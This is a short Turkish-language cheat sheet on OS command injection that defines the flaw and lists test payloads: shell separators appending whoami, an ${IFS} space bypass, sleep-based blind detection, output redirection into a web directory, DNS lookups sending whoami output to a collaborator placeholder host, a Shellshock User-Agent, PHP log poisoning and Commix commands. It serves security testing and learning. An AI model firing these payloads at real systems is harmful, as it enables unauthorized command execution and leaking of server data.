OS Command Injection

OS Command Injection Nedir?

OS Command injection, Shell Injection olarak da bilinir. Bir saldırganın bir uygulamayı çalıştıran sunucuda işletim sistemi komutlarını çalıştırmasına ve genellikle uygulamayı ve verilerini tamamen ele geçirmesine olanak tanır.

Genellikle saldırgan, hosting altyapısının diğer bölümlerini ele geçirmek için bir OS Command injection güvenlik açığından yararlanır ve saldırıyı kuruluş içindeki diğer sistemlere yayılmak için kullanır.

Yöntemler

Ozel Karakterler ile Komut Eklemeye Çalışma

Aşağıdaki özel karakterleri parametrelerin sonuna eklemeyi deneyebiliriz.

&&whoami
&whoami
;whoami
|whoami 
||whoami
"&&whoami"

# Boşluk yasak ise IFS kullan
||uname${IFS}-a

Gecikme Yaptırma

Eğer istek sonucu bir yanıt almıyorsak aşağıdaki payloadları deneyebiliriz. Eğer yanıt gecikmeli geliyorsa zafiyet olabilir.

;sleep 10

Çıktı Yönlendirme

Eğer zafiyet olduğunu biliyorsak ve komutun çıktısını okumak istiyorsak komutun çıktısını bir dosyaya yazabiliriz.

;whoami > /var/www/images/whoami.txt

DNS İsteği

Eğer yanıtta bir çıktı almıyorsak kendimize dns isteği atmayı deneyebiliriz.

;nslookup x.COLLABORATOR
;nslookup `whoami`.COLLABORATOR

Ping Listen

;ping <IP> -c 5
;ping <IP> -n 5

tcpdump -i eth0 icmp

Shellshock Useragent

User-Agent: () { :;}; whoami

PHP Log Poisoning

User-Agent: <?php system('whoami') ?>

Araçlar

Commix

Commix aracı ile de bu zafiyeti tespit edebilir ve sömürebilirsiniz.

commix -u https://example.com
commix -r req.txt

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/os-command-injection

Commix: https://github.com/commixproject/commix

Last updated